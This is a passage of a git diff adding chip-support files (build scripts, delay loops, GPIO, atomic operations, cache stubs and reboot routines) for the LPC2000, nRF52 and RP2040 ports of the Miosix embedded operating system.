be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/delays.h" +#include "miosix_settings.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + const unsigned int count=cpuFrequency/4000; + + for(unsigned int i=0;i * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +/** + * GPIO mode (INPUT, OUTPUT, ...) + * \code pin::mode(Mode::INPUT); \endcode + */ +enum class Mode +{ + INPUT = 0x0, ///Floating Input + OUTPUT = 0x1, ///Push Pull Output +}; + +/** + * \internal + * Memory layout of the GPIOs in the LPC2138 + */ +struct GpioMemoryLayout +{ + volatile unsigned int IOPIN; + volatile unsigned int IOSET; + volatile unsigned int IODIR; + volatile unsigned int IOCLR; +}; + +constexpr unsigned int P0=0xe0028000;///<\internal Base address of GPIO0 registers +constexpr unsigned int P1=0xe0028010;///<\internal Base address of GPIO1 registers + +/** + * This class allows to easiliy pass a Gpio as a parameter to a function. + * Accessing a GPIO through this class is slower than with just the Gpio, + * but is a convenient alternative in some cases. Also, an instance of this + * class occupies a few bytes of memory, unlike the Gpio class. + */ +class GpioPin +{ +public: + /** + * Default constructor + * Produces an invalid pin that shall not be used. The only safe method to + * call is isValid() which returns false on a default constructed GpioPin + */ + GpioPin() : GpioPin(P0,0xff) {} + + /** + * Constructor + * \param p P0 or P1. Select which port + * \param n which pin (0 to 31) + */ + GpioPin(unsigned int p, unsigned char n) + : p(reinterpret_cast(p)), n(n) {} + + /** + * \return whether the GpioPin is valid + */ + bool isValid() const { return getNumber()<32; } + + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT) + * \param m enum Mode + */ + void mode(Mode m) + { + if(m==Mode::INPUT) p->IODIR &= ~(1<IODIR |= (1<IOSET= 1<IOCLR= 1<IOPIN & 1<(p); } + + /** + * \return the pin number, from 0 to 31 + */ + unsigned char getNumber() const { return n; } + +private: + GpioMemoryLayout *p; //Pointer to the port + unsigned char n; //Number of the GPIO within the port +}; + +/** + * Gpio template class + * \param P P0 or P1. Select which port + * \param N which pin (0 to 31) + * The intended use is to make a typedef to this class with a meaningful name. + * \code + * typedef Gpio green_led; + * green_led::mode(Mode::OUTPUT); + * green_led::high();//Turn on LED + * \endcode + */ +template +class Gpio +{ +public: + /** + * Set the GPIO to the desired mode (INPUT, OUTPUT) + * \param m enum Mode + */ + static void mode(Mode m) + { + if(m==Mode::INPUT) + { + reinterpret_cast(P)->IODIR &= ~(1<(P)->IODIR |= (1<(P)->IOSET= 1<(P)->IOCLR= 1<(P)->IOPIN & 1< * + ***************************************************************************/ + +#include "interfaces/poweroff.h" + +namespace miosix { + +void IRQsystemReboot() +{ + //Jump to reset vector + asm volatile("ldr pc, =0"::); + for(;;) ; +} + +} // namespace miosix diff --git a/miosix/arch/chip/lpc2000/interfaces-impl/serial_impl.h b/miosix/arch/chip/lpc2000/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..cac96bd7b --- /dev/null +++ b/miosix/arch/chip/lpc2000/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/lpc2000_serial.h" diff --git a/miosix/arch/chip/nrf52/CMakeLists.txt b/miosix/arch/chip/nrf52/CMakeLists.txt new file mode 100644 index 000000000..8e03ea74c --- /dev/null +++ b/miosix/arch/chip/nrf52/CMakeLists.txt @@ -0,0 +1,29 @@ +## +## CMakeLists.txt for chip nrf52 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+fp/hard) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_NRF52) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_NRF52) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/nrf52_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/clock/nrf52_clock.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/nrf52_gpio.cpp +) diff --git a/miosix/arch/chip/nrf52/Makefile.inc b/miosix/arch/chip/nrf52/Makefile.inc new file mode 100644 index 000000000..8933006b0 --- /dev/null +++ b/miosix/arch/chip/nrf52/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for chip nrf52 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 +CHIP_CFLAGS := -D_CHIP_NRF52 +CHIP_CXXFLAGS := -D_CHIP_NRF52 + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/nrf52_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/dcc.cpp \ +arch/drivers/clock/nrf52_clock.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/drivers/gpio/nrf52_gpio.cpp diff --git a/miosix/arch/chip/nrf52/interfaces-impl/cache_impl.h b/miosix/arch/chip/nrf52/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/nrf52/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/nrf52/interfaces-impl/delays.cpp b/miosix/arch/chip/nrf52/interfaces-impl/delays.cpp new file mode 100644 index 000000000..2642b0e1a --- /dev/null +++ b/miosix/arch/chip/nrf52/interfaces-impl/delays.cpp @@ -0,0 +1,72 @@ +/*************************************************************************** + * Copyright (C) 2010-2025 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/delays.h" +#include "board_settings.h" + +namespace miosix { + +static_assert(cpuFrequency==64000000 || cpuFrequency==32000000,"Uncalibrated delay"); + +void delayMs(unsigned int mseconds) +{ + const unsigned int count = cpuFrequency / 4000; + + for(unsigned int i=0;i * + ***************************************************************************/ + +#pragma once + +#include "drivers/gpio/nrf52_gpio.h" diff --git a/miosix/arch/chip/nrf52/interfaces-impl/poweroff.cpp b/miosix/arch/chip/nrf52/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/nrf52/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/nrf52/interfaces-impl/serial_impl.h b/miosix/arch/chip/nrf52/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..ec39eeeac --- /dev/null +++ b/miosix/arch/chip/nrf52/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#error Serial interface not implemented for NRF52 diff --git a/miosix/arch/chip/rp2040/CMakeLists.txt b/miosix/arch/chip/rp2040/CMakeLists.txt new file mode 100644 index 000000000..75622a710 --- /dev/null +++ b/miosix/arch/chip/rp2040/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for chip rp2040 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv6m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v6-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m0plus -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_RP2040) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_RP2040) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv6m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/rp2040_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/arm_pl011_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/rp2040_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/spi/arm_pl022_spi.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/spi/rp2040_spi.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/rp2040_dma.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/smp.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/atomic_ops_smp_impl.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c +) diff --git a/miosix/arch/chip/rp2040/Makefile.inc b/miosix/arch/chip/rp2040/Makefile.inc new file mode 100644 index 000000000..bce39c1c2 --- /dev/null +++ b/miosix/arch/chip/rp2040/Makefile.inc @@ -0,0 +1,35 @@ +## +## Makefile for chip rp2040 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv6m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m0plus -mthumb +CHIP_CFLAGS := -D_CHIP_RP2040 +CHIP_CXXFLAGS := -D_CHIP_RP2040 + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv6m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/rp2040_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/serial/arm_pl011_serial.cpp \ +arch/drivers/serial/rp2040_serial.cpp \ +arch/drivers/spi/arm_pl022_spi.cpp \ +arch/drivers/spi/rp2040_spi.cpp \ +arch/drivers/rp2040_dma.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/smp.cpp \ +$(CHIP_INC)/interfaces-impl/atomic_ops_smp_impl.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c diff --git a/miosix/arch/chip/rp2040/interfaces-impl/arch_registers_impl.h b/miosix/arch/chip/rp2040/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..100cfa2b5 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,14 @@ + +#pragma once + +#include "../rp2040/hardware/rp2040.h" +#include "../rp2040/hardware/properties.h" +#include "../rp2040/hardware/platform.h" +#if defined(BOARD_VARIANT_PICO_W) +#include "../rp2040/hardware/boards/pico_w.h" +#else +#include "../rp2040/hardware/boards/pico.h" +#endif + +//Peripheral interrupt start from 0 and the last one is 25, so there are 26 +#define MIOSIX_NUM_PERIPHERAL_IRQ 26 diff --git a/miosix/arch/chip/rp2040/interfaces-impl/atomic_ops_smp_impl.cpp b/miosix/arch/chip/rp2040/interfaces-impl/atomic_ops_smp_impl.cpp new file mode 100644 index 000000000..e4420d309 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/atomic_ops_smp_impl.cpp @@ -0,0 +1,121 @@ +/*************************************************************************** + * Copyright (C) 2013-2024 by Terraneo Federico * + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "miosix_settings.h" + +#ifdef WITH_SMP + +#include "kernel/lock.h" + +namespace miosix { + +class AtomicsLock +{ +public: + AtomicsLock() + { + prevState=areInterruptsEnabled(); + fastDisableIrq(); + irqDisabledHwIrqLockAcquire(HwLocks::RP2040Atomics); + } + + ~AtomicsLock() + { + irqDisabledHwIrqLockRelease(HwLocks::RP2040Atomics); + if(prevState) fastEnableIrq(); + } + + AtomicsLock(const AtomicsLock&)=delete; + AtomicsLock& operator= (const AtomicsLock&)=delete; + +private: + bool prevState; +}; + +int atomicSwapImpl(volatile int *p, int v) +{ + int result; + { + AtomicsLock lock; + result = *p; + *p = v; + } + asm volatile("":::"memory"); + return result; +} + +void atomicAddImpl(volatile int *p, int incr) +{ + { + AtomicsLock lock; + *p += incr; + } + asm volatile("":::"memory"); +} + +int atomicAddExchangeImpl(volatile int *p, int incr) +{ + int result; + { + AtomicsLock lock; + result = *p; + *p += incr; + } + asm volatile("":::"memory"); + return result; +} + +int atomicCompareAndSwapImpl(volatile int *p, int prev, int next) +{ + int result; + { + AtomicsLock lock; + result = *p; + if(*p == prev) *p = next; + } + asm volatile("":::"memory"); + return result; +} + +void *atomicFetchAndIncrementImpl(void * const volatile * p, int offset, int incr) +{ + void *result; + { + AtomicsLock lock; + result = *p; + if(result == 0) return 0; + auto pt = reinterpret_cast(result) + offset; + *pt += incr; + } + asm volatile("":::"memory"); + return result; +} + +} //namespace miosix + +#endif //WITH_SMP diff --git a/miosix/arch/chip/rp2040/interfaces-impl/atomic_ops_smp_impl.h b/miosix/arch/chip/rp2040/interfaces-impl/atomic_ops_smp_impl.h new file mode 100644 index 000000000..fb8b24abc --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/atomic_ops_smp_impl.h @@ -0,0 +1,72 @@ +/*************************************************************************** + * Copyright (C) 2013-2024 by Terraneo Federico * + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * Cortex M0/M0+ architectures does not support __LDREXW, __STREXW and __CLREX + * instructions, so we have to redefine the atomic operations using functions + * that disable the interrupts and take a spinlock to prevent multicore race + * conditions. + */ + +namespace miosix { + +int atomicSwapImpl(volatile int *p, int v); +void atomicAddImpl(volatile int *p, int incr); +int atomicAddExchangeImpl(volatile int *p, int incr); +int atomicCompareAndSwapImpl(volatile int *p, int prev, int next); +void *atomicFetchAndIncrementImpl(void *const volatile *p,int offset,int incr); + +inline int atomicSwap(volatile int *p, int v) +{ + return atomicSwapImpl(p,v); +} + +inline void atomicAdd(volatile int *p, int incr) +{ + atomicAddImpl(p,incr); +} + +inline int atomicAddExchange(volatile int *p, int incr) +{ + return atomicAddExchangeImpl(p,incr); +} + +inline int atomicCompareAndSwap(volatile int *p, int prev, int next) +{ + return atomicCompareAndSwapImpl(p,prev,next); +} + +inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, + int incr) +{ + return atomicFetchAndIncrementImpl(p,offset,incr); +} + +} //namespace miosix diff --git a/miosix/arch/chip/rp2040/interfaces-impl/cache_impl.h b/miosix/arch/chip/rp2040/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/rp2040/interfaces-impl/cpu_const_smp_impl.h b/miosix/arch/chip/rp2040/interfaces-impl/cpu_const_smp_impl.h new file mode 100644 index 000000000..ec06a5ed6 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/cpu_const_smp_impl.h @@ -0,0 +1,44 @@ +/*************************************************************************** + * Copyright (C) 2025 by Federico Terraneo, Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +const unsigned char CPU_NUM_CORES=2; + +using CpuSet=unsigned char; + +//TODO: move elsewhere? +inline unsigned char getCurrentCoreId() +{ + return get_core_num(); +} + +} diff --git a/miosix/arch/chip/rp2040/interfaces-impl/delays.cpp b/miosix/arch/chip/rp2040/interfaces-impl/delays.cpp new file mode 100644 index 000000000..97bfa4a61 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/delays.cpp @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include "miosix_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +static inline __attribute__((always_inline)) void delayUsImpl(unsigned int us) +{ + static_assert(cpuFrequency==125000000 + || cpuFrequency==133000000 + || cpuFrequency==200000000, + "Unsupported clock frequency"); + if(us == 0) return; + if(cpuFrequency==133000000) + { + // 7 cycles per iteration @ 133 MHz = 1/19 us per iteration + unsigned int iterCount = us*19-2; + asm volatile( + ".syntax unified\n" + ".align 2 \n" + "1: nop \n" + " nop \n" + " nop \n" + " subs %0, #1\n" + " cmp %0, #0\n" + " bne 1b \n":"+l"(iterCount)::"cc"); + } else if(cpuFrequency==125000000 || cpuFrequency==200000000) { + // 5 cycles per iteration + unsigned int iterCount; + if(cpuFrequency==125000000) iterCount=us*25-2; // 1/25 us per iteration + else iterCount=us*40-2; // 1/40 us per iteration + asm volatile( + ".syntax unified\n" + ".align 2 \n" + "1: nop \n" + " subs %0, #1\n" + " cmp %0, #0\n" + " bne 1b \n":"+l"(iterCount)::"cc"); + } +} + +void delayUs(unsigned int us) +{ + delayUsImpl(us); +} + +void delayMs(unsigned int ms) +{ + for(; ms!=0; ms--) delayUsImpl(1000); +} + +} //namespace miosix + diff --git a/miosix/arch/chip/rp2040/interfaces-impl/gpio_impl.h b/miosix/arch/chip/rp2040/interfaces-impl/gpio_impl.h new file mode 100644 index 000000000..4a598e4f7 --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/gpio_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/gpio/rp2040_gpio.h" diff --git a/miosix/arch/chip/rp2040/interfaces-impl/poweroff.cpp b/miosix/arch/chip/rp2040/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d6edc88cf --- /dev/null +++ b/miosix/arch/chip/rp2040/interfaces-impl/poweroff.cpp @@ -0,0 +1,42 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * 